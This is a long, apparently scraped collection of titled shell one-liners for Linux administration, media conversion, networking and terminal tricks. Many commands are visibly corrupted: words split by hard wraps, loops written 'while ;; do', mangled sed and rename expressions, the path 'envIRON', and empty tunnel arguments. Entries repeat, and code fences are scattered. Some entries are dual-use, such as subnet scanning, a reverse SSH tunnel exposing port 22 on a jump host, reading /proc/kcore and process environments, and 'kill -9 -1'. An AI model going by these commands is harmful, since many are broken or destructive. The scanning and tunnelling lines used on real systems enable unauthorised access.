(some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdou
tlog

# Terminal - Show directories in the PATH, one per line with sed and bash3.X `he
re string'
tr : '\n' <<<$PATH

# use vim to get colorful diff output
svn diff | view -

# Find Duplicate Files (based on MD5 hash)
find -type f -exec md5sum '{} ' ';' | sort | uniq --all-repeated=separate -w 33 |
cut -c 35-

# Create a list of binary numbers
echo {0..1}{0..1}{0..1}{0..1}

# When feeling down, this command helps
sl

# Transfer SSH public key to another machine in one step
ssh-keygen; ssh-copy-id user@host; ssh user@host

# iso-8859-1 to utf-8 safe recursive rename
detox -r -s utf_8 /path/to/old/win/files/dir

# git remove files which have been deleted
git rm $(git ls-files --deleted)

# Show biggest files/directories, biggest first with 'k,m,g' eyecandy
du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=
1024; s++} print int($1) " "v[s]"\t"$2}'

# Terminate a frozen SSH-session
RETURN~.

# Download an entire static website to your local machine
wget --recursive --page-requisites --convert-links www.moyagraphix.co.za

# Get list of servers with a specific port open
nmap -sT -p 80 -oG - 192.168.1.* | grep open

# Efficiently print a line deep in a huge log file
```

```

sed '1000000!d;q' < massive-log-file.log

# Convert seconds into minutes and seconds
echo 'obase=60;299' | bc

# List by size all of the directories in a given tree.
du -h /path | sort -h

# Short and elegant way to backup a single file before you change it.
cp httpd.conf{,.bk}

# Find broken symlinks
find -L . -type l

# Python version 3: Serve current directory tree at http://$HOSTNAME:8000/
python -m http.server

# Make sudo forget password instantly
sudo -K

# Running scripts after a reboot for non-root users .
@reboot <yourscript.sh>

# Display BIOS Information
# dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8

# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head >
/tmp/cmds | gnuplot -persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with
boxes')

# intersection between two files
grep -Fx -f file1 file2

# Mirror a directory structure from websites with an Apache-generated file index
es
lftp -e "mirror -c" http://example.com/foobar/

# View all date formats, Quick Reference Help Alias
alias dateh='date --help|sed "/^ *%a/,/^ *%Z/!d;y/_/!/;/s/^ *%([[:a-z]]\+)\ \+/\1_
/gI;s/%/#/g;s/^\([[:a-y]]\|[[:z:]]\+)\_/%\1_%\1_/I"|while read L;do date "+${L}"|sed
y/!#/%/;/done|column -ts_'

# Limit bandwidth usage by apt-get
sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade

# track flights from the command line
flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "htt
p://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(
date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }

# Tune your guitar from the command line.
for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done

# Make sure a script is run in a terminal.
[ -t 0 ] || exit 1

# Split a tarball into multiple parts
tar cf - <dir>|split -b<max_size>M - <name>.tar.

```

```

# Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X
for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e
"\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $((($COLUMNS/2))|tr -d '[0-9]'\` \e[0m";done;d
one

# convert filenames in current directory to lowercase
rename 'y/A-Z/a-z/' *

# More precise BASH debugging
env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile

# Matrix Style
echo -e "\e[32m"; while ;; do for i in {1..16}; do r="$((($RANDOM % 2))"; if [[ $
(($RANDOM % 5)) == 1 ]]; then if [[ $((($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r
"; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; d
one

# Identify long lines in a file
awk 'length>72' file

# Ultimate current directory usage command
ncdu

# get all pdf and zips from a website using wget
wget --reject html,htm --accept pdf,zip -rll url

# Show directories in the PATH, one per line
echo "${PATH//:/$'\n'}"

# Analyze awk fields
awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'

# pipe output of a command to your clipboard
some command|xsel --clipboard

# Smiley Face Bash Prompt
PS1="\`if [ \ $? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\\^ \e[0m; else echo \e[36\;4
0m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"

# create an emergency swapfile when the existing swap space is getting tight
sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; s
udo swapon /swapfile

# Purge configuration files of removed packages on debian based systems
sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`

# restoring some data from a corrupted text file
( cat badfile.log ; tac badfile.log | tac ) > goodfile.log

# Redirect STDIN
< /path/to/file.txt grep foo

# clear current line
CTRL+u

# Convert all MySQL tables and fields to UTF8
mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1,
"CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=d

```

```
bname &

# Cut out a piece of film from a file. Choose an arbitrary length and starting time.
ffmpeg -vcodec copy -acodec copy -i originalfile -ss 00:01:30 -t 0:0:20 newfile

# Browse system RAM in a human readable form
sudo cat /proc/kcore | strings | awk 'length > 20' | less

# List the files any process is using
lsof +p xxxx

# Get Cisco network information
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'

# change directory to actual path instead of symlink path
cd `pwd -P`

# Batch convert files to utf-8
find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;

# Use last argument of last command
file !$

# Recursively remove .svn directories from the current location
find . -type d -name '.svn' -print0 | xargs -0 rm -rdf

# Get http headers for an url
curl -I www.commandlinefu.com

# List files accessed by a command
strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+((\[^\\"|\|\\[\\"nt])*)\".*$/\$/ && print'

# Ask for a password, the passwd-style
read -s -p"Password: " USER_PASSWORD_VARIABLE; echo

# Content search.
ff() { local IFS='|'; grep -rinE "$*" . ; }

# Protect directory from an overzealous rm -rf *
cd <directory>; touch ./-i

# Blink LED Port of NIC Card
ethtool -p eth0

# run command on a group of nodes in parallel
echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3"

# Remove Thumbs.db files from folders
find ./ -name Thumbs.db -delete

# List open files that have no links to them on the filesystem
lsof +L1

# open path with your default program (on Linux/*BSD)
xdg-open [path]

# Copy an element from the previous command
```

!:1-3

```
# View user activity per directory.
sudo lsof -u someuser -a +D /etc
```

```
# Choose from a nice graphical menu which DI.FM radio station to play
zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-c
olumn 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {pri
nt $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer
```

```
# Quickly share code or text from vim to others.
:w !curl -F "sprunge=<-" http://sprunge.us | xclip
```

```
# copy from host1 to host2, through your host
ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedi
r/tocopyto/ && tar -xf -"
```

```
# Monitor open connections for httpd including listen, count and sort it per IP
watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c
| sort -nk 1"
```

```
# a shell function to print a ruler the width of the terminal window.
ruler() {for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<
=$(( ($COLUMNS + $w) / $w )) ; i=$((i+1)) ); do echo -n $s; done ); str=$(echo $str
| cut -c -$COLUMNS) ; echo $str; done; }
```

```
# Print a list of standard error codes and descriptions.
perl -le 'print $!+0, "\t", $!++ for 0..127'
```

```
# Change pidgin status
purple-remote "setstatus?status=away&message=AFK"
```

```
# Numbers guessing game
A=1;B=100;X=0;C=0;N=$((RANDOM%$B+1));until [ $X -eq $N ];do read -p "N between $A
and $B. Guess? " X;C=$((C+1));A=$((X<$N?$X:$A));B=$((X>$N?$X:$B));done;echo
"Took you $C tries, Einstein";
```

```
# quickest (i blv) way to get the current program name minus the path (BASH)
path_stripped_programname="${0##*/}"
```

```
# A function to output a man page as a pdf file
function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3
- - > ${1}.pdf; }
```

```
# a trash function for bash
trash <file>
```

```
# Remove executable bit from all files in the current directory recursively, exc
luding other directories
chmod -R -x+X *
```

```
# Identify differences between directories (possibly on different servers)
diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <
(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')
```

```
# Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image)
mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,mask=0117,offset=0x$(
hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /
mnt/vdi-ntfs
```

```
# Use all the cores or CPUs when compiling
make -j 4

# Move all images in a directory into a directory hierarchy based on year, month
and day based on exif information
exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir

# Show me a histogram of the busiest minutes in a log file:
cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | a
wk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*");}}'

# Print a great grey scale demo !
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n
"; sleep .01; done

# Find broken symlinks and delete them
find -L /path/to/check -type l -delete

# Run a command, store the output in a pastebin on the internet and place the UR
L on the xclipboard
ls | curl -F 'sprunge=<-' http://sprunge.us | xclip

# Find if the command has an alias
type -all command

# Get your public ip using dyndns
curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:]]\|+"

# Show a config file without comments
egrep -v "^$|^[[[:space:]]*#" /etc/some/file

# Display current bandwidth statistics
ifstat -nt

# Given process ID print its environment variables
sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/envIRON

# view the system console remotely
sudo cat /dev/vcs1 | fold -w 80

# Fix Ubuntu's Broken Sound Server
sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 &

# Download all Delicious bookmarks
curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all

# I hate `echo X | Y`
base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZG
xpbnVmdQo=

# Create a favicon
convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favi
con.ico face.ppm

# Schedule a download at a later time
echo 'wget url' | at 01:00

# Add calendar to desktop wallpaper
```



```
convert -font -misc-fixed-***-***-***-***-***-***-***-***-***-***-*** -fill black -draw "text 270,26
0 \" `cal` \" testpic.jpg newtestpic.jpg

# create dir tree
mkdir -p doc/{text/,img/{wallpaper/,photos/}}

# Check Ram Speed and Type in Linux
sudo dmidecode --type 17 | more

# Run the Firefox Profile Manager
firefox -no-remote -P

# Delete the specified line
sed -i 8d ~/.ssh/known_hosts

# Extract audio from a video
ffmpeg -i video.avi -f mp3 audio.mp3

# Get Dell Service Tag Number from a Dell Machine
sudo dmidecode | grep Serial\ Number | head -n1

# Resume aborted scp file transfers
rsync --partial --progress --rsh=ssh SOURCE DESTINATION

# Generat a Random MAC address
MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a
-f]{2})/\1:/g; s/:$/;/`

# Color man pages
echo "export LESS_TERMCAP_mb='${E[01;31m}'" >> ~/.bashrc

# Query well known ports list
getent services <<service>>

# Diff XML files
diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); }

# What is the use of this switch ?
manswitch () { man $1 | less -p "^ +$2"; }

# Save the list of all available commands in your box to a file
compgen -c | sort -u > commands

# monitor memory usage
watch vmstat -sSM

# Figure out what shell you're running
echo $0

# Compare copies of a file with md5
cmp file1 file2

# backup delicious bookmarks
curl --user login:password -o DeliciousBookmarks.xml -O 'https://api.del.icio.us
/v1/posts/all'

# List 10 largest directories in current directory
du -hs */ | sort -hr | head

# Reuse last parameter
```

!\$

```
# See where a shortened url takes you before click
check(){ curl -sI $1 | sed -n 's/Location:.* //p';}
```

```
# Stream YouTube URL directly to MPlayer
yt () mplayer -fs -quiet $(youtube-dl -g "$1")
```

```
# run command on a group of nodes in parallel
echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3)
```

```
# Print just line 4 from a textfile
sed -n '4{p;q}'
```

```
# Find all active ip's in a subnet
sudo arp-scan -I eth0 192.168.1.0/24
```

```
# Convert all Flac in a directory to Mp3 using maximum quality variable bitrate
for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3"; done
```

```
# Print a row of characters across the terminal
printf "%\tput cols`s"|tr ' ' '#'
```

```
# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\/\\\\\\\\:g' )\> "
```

```
# Remote backups with tar over ssh
tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2"
"
```

```
# Make ISO image of a folder
mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD
```

```
# Insert the last argument of the previous command
<ALT> .
```

```
# Play music from youtube without download
wget -q -O - `youtube-dl -b -g $url` | ffmpeg -i - -f mp3 -vn -acodec libmp3lame - | mpg123 -
```

```
# generate a unique and secure password for every website that you login to
sitepass() { echo -n "$@" | md5sum | shasum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!~' 'P~!~0' | rev | cut -b 2-11; history -d $(( ${HISTCMD} - 1 )); }
```

```
# Change user, assume environment, stay in current dir
su -- user
```

```
# find all active IP addresses in a network
arp-scan -l
```

```
# How fast is the connexion to a URL, some stats from curl
URL="http://www.google.com";curl -L --w "$URL\nDNS ${time_namelookup}s conn ${time_connect}s time ${time_total}s\nSpeed ${speed_download}bps Size ${size_download}bytes\n" -o/dev/null -s $URL
```

```
# bash: hotkey to put current commandline to text-editor
```

```
bash-hotkey: <CTRL+x+e>

# find and delete empty dirs, start in current working dir
find . -empty -type d -exec rmdir {} +

# List programs with open ports and connections
lsof -i

# Colored SVN diff
svn diff <file> | vim -R -

# find files containing text
grep -lir "some text" *

# Share a 'screen'-session
screen -x

# Show all detected mountable Drives/Partitions/BlockDevices
hwinfo --block --short

# Diff files on two remote hosts.
diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)

# Send keypresses to an X application
xvkbd -xsendevent -text "Hello world"

# Run any GUI program remotely
ssh -fX <user>@<host> <program>

# Backup your hard drive with dd
sudo dd if=/dev/sda of=/media/disk/backup/sda.backup

# Sort dotted quads
sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4

# Pipe STDOUT to vim
tail -1000 /some/file | vim -

# Backup a remote database to your local filesystem
ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz

# Quick glance at who's been using your system recently
last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c

# ping a range of IP addresses
nmap -sP 192.168.1.100-254

# Verify/edit bash history command before executing it
shopt -s histverify

# Resize an image to at least a specific resolution
convert -resize '1024x600^' image.jpg small-image.jpg

# Print without executing the last command that starts with...
!ssh:p

# Create .pdf from .doc
oowriter -pt pdf your_word_file.doc
```

```

# Find the most recently changed files (recursively)
find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort

# Timer with sound alarm
sleep 3s && espeak "wake up, you bastard" 2>/dev/null

# clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.)
c() printf "\33[2J"

# Run a program transparently, but print a stack trace if it fails
gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$

# Rename all .jpeg and .JPG files to .jpg
rename 's/\.jpe?g$/./jpg/i' *

# Random unsigned integer
echo $(openssl rand 4 | od -DA)

# Get My Public IP Address
curl ifconfig.me

# translates acronyms for you
wtf is <acronym>

# dd with progress bar and statistics
sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/.USB_BLACK_BACKUP.I
MG

# Disassemble some shell code
echo -ne "<shellcode>" | x86dis -e 0 -s intel

# ignore the .svn directory in filename completion
export FIGIGNORE=.svn

# Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep <strong> | sed "s;^.*<i>\(.*\)
</i>.*$;\1;"

# Convert a Nero Image File to ISO
dd bs=1k if=image.nrg of=image.iso skip=300

# Pronounce an English word using Dictionary.com
pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" |
grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/
:/g;s/%2F/\\/g') | mpg123 -; }

# Grep by paragraph instead of by line.
grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$
1/i" < "$2";}

# live ssh network throughput test
pv /dev/zero|ssh $host 'cat > /dev/null'

# Vim: Switch from Horizontal split to Vertical split
^W-L

# Clean your broken terminal
stty sane

```

```
# Kill processes that have been running for more than a week
find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9

# Save current layout of top
<Shift + W>

# Testing hard disk reading speed
hdparm -t /dev/sda

# Replace spaces in filenames with underscores
rename -v 's/ /_/g' *

# move a lot of files over ssh
rsync -az /home/user/test user@sshServer:/tmp/

# Stream YouTube URL directly to mplayer
id="dMH0bHeiRNq";mplayer -fs http://youtube.com/get_video.php?video_id=$id&t=$(
curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p')

# Get all IPs via ifconfig
ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'

# Get all these commands in a text file with description.
for x in `jot -0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > commandlinefu.txt

# Convert "man page" to text file
man ls | col -b > ~/Desktop/man_ls.txt

# Show git branches by date - useful for showing active branches
for k in `git branch|perl -pe s/^\s+//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\t$k;done|sort -r

# Find last reboot time
who -b

# for all flv files in a dir, grab the first frame and make a jpg.
for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done

# Start screen in detached mode
screen -d -m [<command>]

# Monitor TCP opened connections
watch -n 1 "netstat -tpanl | grep ESTABLISHED"

# Look up the definition of a word
curl dict://dict.org/d:something

# Ctrl+S Ctrl+Q terminal output lock and unlock
Ctrl+S Ctrl+Q

# beep when a server goes offline
while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done

# Number of open connections per ip.
```

```
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

# from within vi, pipe a chunk of lines to a command line and replace the chunk
with the result
!}sort

# Fibonacci numbers with awk
seq 50 | awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'

# Append stdout and stderr to a file, and print stderr to the screen [bash]
somecommand 2>&1 >> logfile | tee -a logfile

# Read the output of a command into the buffer in vim
:r !command

# Grep for word in directory (recursive)
grep --color=auto -iRnH "$search_word" $directory

# Calculates the date 2 weeks ago from Saturday the specified format.
date -d '2 weeks ago Saturday' +%Y-%m-%d

# Another Curl your IP command
curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]/g'

# Add your public SSH key to a server in one command
cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'

# ssh tunnel with auto reconnect ability
while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:2
2 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5; done

# find process associated with a port
fuser [portnumber]/[proto]

# pattern match in awk - no grep
awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'

# cycle through a 256 colour palette
yes "$(seq 232 255; seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n
"; sleep .01; done

# scp'ing files with streamlines compression (tar gzip)
tar czv file1 file2 folder1 | ssh user@server tar xzv -C /destination

# Discovering all open files/dirs underneath a directory
lsof +D <dirname>

# Substrings a variable
var='123456789'; echo ${var:<start_pos>:<offset>}

# Check syntax for all PHP files in the current directory and all subdirectories
find . -name *.php -exec php -l "{}" \;

# RDP through SSH tunnel
ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITL
E>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 lo
calhost

# clean up memory of unnecessary things (Kernerl 2.6.16 or newer)
```

```
sync && echo 1 > /proc/sys/vm/drop_caches

# Remote screenshot
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -

# List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl\|!d;s/ Link.*HWaddr/' ; }

# ssh to machine behind shared NAT
ssh -NR 0.0.0.0:2222:127.0.0.1:22 user@jump.host.com

# Countdown Clock
MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date -d"0+$i sec" +%H:%M:%S)";
sleep 1;done

# the same as [Esc] in vim
Ctrl + [

# Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }

# prevent accidents and test your command with echo
echo rm *.txt

# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}'

# Print just line 4 from a textfile
sed -n '4p'

# Display BIOS Information
dmidecode -t bios

# Remote screenshot
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -

# Show directories in the PATH, one per line
echo $PATH | tr \: \n

# find the process that is using a certain port e.g. port 3000
lsof -P | grep ':3000'

# Cleanup firefox's database.
pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while
read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)

# Discovering all open files/dirs underneath a directory
lsof +D <dirname>

# the same as [Esc] in vim
Ctrl + [

# archive all files containing local changes (svn)
svn st | cut -c 8- | sed 's/^\|"/;s/$/"/' | xargs tar -czvf ../backup.tgz

# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}'
```

```
# RDP through SSH tunnel
ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITL
E>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 lo
calhost

# geoup information
curl -s "http://www.geody.com/geoup.php?ip=$(curl -s icanhazip.com)" | sed '/^IP
:;!d;s/<[^>][^>]*>//g'

# make, or run a script, everytime a file in a directory is modified
while true; do inotifywait -r -e MODIFY dir/ && make; done;

# Print just line 4 from a textfile
sed -n '4p'

# clean up memory of unnecessary things (Kernerl 2.6.16 or newer)
sync && echo 1 > /proc/sys/vm/drop_caches

# Sort all running processes by their memory & CPU usage
ps aux --sort=%mem,%cpu

# Find broken symlinks
find . -type l ! -exec test -e {} \; -print

# List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl;!d;s/ Link.*HWaddr//' ; }

# Pick a random line from a file
shuf -n1 file.txt

# Find removed files still in use via /proc
find -L /proc/*/fd -links 0 2>/dev/null

# VIM: Replace a string with an incrementing number between marks 'a and 'b (eg,
  convert string ZZZZ to 1, 2, 3, ...)
:let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1

# Grep colorized
grep -i --color=auto

# play high-res video files on a slow processor
mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all

# Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }

# find and delete empty dirs, start in current working dir
find . -type d -empty -delete

# Generate a list of installed packages on Debian-based systems
dpkg --get-selections > LIST_FILE

# Carriage return for reprinting on the same line
while true; do echo -ne "$(date)\r"; sleep 1; done

# Set your profile so that you resume or start a screen session on login
echo "screen -DR" >> ~/.bash_profile
```



```

# prevent accidents and test your command with echo
echo rm *.txt

# Convert .wma files to .ogg with ffmpeg
find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;

# Check syntax for all PHP files in the current directory and all subdirectories
find . -name '*.php' -exec php -l "{}" \;

# find and replace tabs for spaces within files recursively
find ./ -type f -exec sed -i 's/\t/ /g' {} \;

# Press ctrl+r in a bash shell and type a few letters of a previous command
^r in bash begins a reverse-search-history with command completion

# output your microphone to a remote computer's speaker
arecord -f dat | ssh -C user@host aplay -f dat

# Save a file you edited in vim without the needed permissions (no echo)
:w !sudo tee > /dev/null %

# Make a file not writable / immutable by root
sudo chattr +i <file>

# infile search and replace on N files (including backup of the files)
perl -pi.bk -e's/foo/bar/g' file1 file2 fileN

# add all files not under version control to repository
svn status |grep '\?' |awk '{print $2}'| xargs svn add

# Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself i
f something breaks the connection temporarily
autossh -f -M 20000 -D 8000 somehost -N

# Echo the latest commands from commandlinefu on the console
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\
s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=
match($0, /code>(.*?)</code>/, d);print d[1]"\n"} '

# Record microphone input and output to date stamped mp3 file
arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`
.mp3

# kill all process that belongs to you
kill -9 -1

# View ~/.ssh/known_hosts key information
ssh-keygen -l -f ~/.ssh/known_hosts

# Do some learning...
ls /usr/bin | xargs whatis | grep -v nothing | less

# Find running binary executables that were not installed using dpkg
cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink
| grep -xvFf /tmp/listin; rm /tmp/listin

# Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal.
echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"

# Traceroute w/TCP to get through firewalls.

```

```
tcptraceroute www.google.com

# wrap long lines of a text
fold -s -w 90 file.txt

# sends a postscript file to a postscript printer using netcat
cat my.ps | nc -q 1 hp4550.mynet.xx 9100

# computes the most frequent used words of a text file
cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30

# Look up a unicode character by name
egrep -i "^[0-9a-f]{4,} .*$" $(locate CharName.pm) | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s\n" $h "$d"; done

# Monitor dynamic changes in the dmesg log.
watch "dmesg |tail -15"

# Print text string vertically, one character per line.
echo "vertical text" | grep -o '.'

# Displays the attempted user name, ip address, and time of SSH failed logins on Debian machines
awk '/sshd/ && /Failed/ {gsub(/invalid user/, ""); printf "%-12s %-16s %s-%s-%s\n", $9, $11, $1, $2, $3}' /var/log/auth.log

# Create a bunch of dummy files for testing
touch {1..10}.txt

# Find the package a command belongs to on Debian
dpkg -S $( which ls )

# Replace spaces in filenames with underscores
ls | while read f; do mv "$f" "${f// /_}";done

# Terminal redirection
script /dev/null | tee /dev/pts/3

# Generate Random Passwords
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6

# Files extension change
rename .oldextension .newextension *.oldextension

# Converts to PDF all the OpenOffice.org files in the directory
for i in $(ls *.od{tp}); do unoconv -f pdf $i; done

# Print info about your real user.
who loves mum

# A formatting test for David Winterbottom: improving commandlinefu for submitte
rs
echo "?????, these are the unlauted vowels I sing to you. Oh, and sometimes ?, b
ut I don't sing that one cause it doesn't rhyme."

# Secure copy from one server to another without rsync and preserve users, etc
tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)"
```

```

# Multiple SSH Tunnels
ssh -L :: -L :: @

# Get all IPs via ifconfig
ifconfig | perl -nle'/dr:(\S+)/ && print $1'

# count IPv4 connections per IP
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1
| sort | uniq -c | sort -n

# Add prefix onto filenames
rename 's/^/prefix/' *

# Create directory named after current date
mkdir $(date +%Y%m%d)

# Merge *.pdf files
gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf
f `ls *.pdf`

# run a command whenever a file is touched
ontouchdo(){ while ;; do a=$(stat -c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -
c "$2"; sleep 1; done }

# Pause Current Thread
ctrl-z

# Resume a detached screen session, resizing to fit the current terminal
screen -raAd

# Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq
-c | sort -r

# Function that outputs dots every second until command completes
sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; do
ne; }; export -f sleeper

# Watch several log files of different machines in a single multital window on
your own machine
multitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' -l 'ssh machine
2 "tail -f /var/log/apache2/error.log"'

# urldecoding
sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\x\1/g' | xargs echo -e

# Continue a current job in the background
<ctrl+z> bg

# renames multiple files that match the pattern
rename 's/foo/bar/g' *

